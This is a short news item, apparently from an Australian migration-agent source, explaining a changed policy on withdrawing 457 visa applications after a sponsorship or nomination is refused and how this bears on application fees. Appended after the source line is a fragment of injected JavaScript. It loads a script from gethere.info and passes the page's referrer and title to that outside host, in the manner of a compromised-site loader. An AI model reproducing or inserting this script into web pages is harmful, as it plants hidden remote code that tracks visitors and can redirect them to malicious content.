The policy on the withdrawal of 457 visa applications after refusal of the sponsorship or nomination application has been changed. These changes may have considerable implications for the way in which RMAs lodge SBS, nomination and visa applications.
When applying for a 457 visa, applicants are asked if they wish their visa application to be withdrawn if the sponsorship or nomination is refused.
It the applicant indicates they do want the visa application withdrawn in these circumstances. the visa will be withdrawn immediately once one of these circumstances occurs.
Where applicants have indicated they do not want their visa to be withdrawn in these circumstances the visa application can be immediately refused. However, officers are required to consider whether the refusal will result in the applicant becoming s48 barred.
If the refusal will not result in a s48 bar, the policy states the application should be refused. If a refusal would instigate a s48 bar, the applicant can be contacted and given the opportunity to withdraw their application.
In some circumstance RMAs may consider waiting for the SBS or nomination to be approved, before lodging the visa application where there are significant VACs involved, to avoid loss of these fees due to refusal of an application.
The policy can be accessed by logging into Legendcom at PAM3: Act – Code of procedure – Notification – Notification requirements – Notice of decision to refuse to grant a visa (non-character) – s66.
Source: Migration Institute of Australias.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;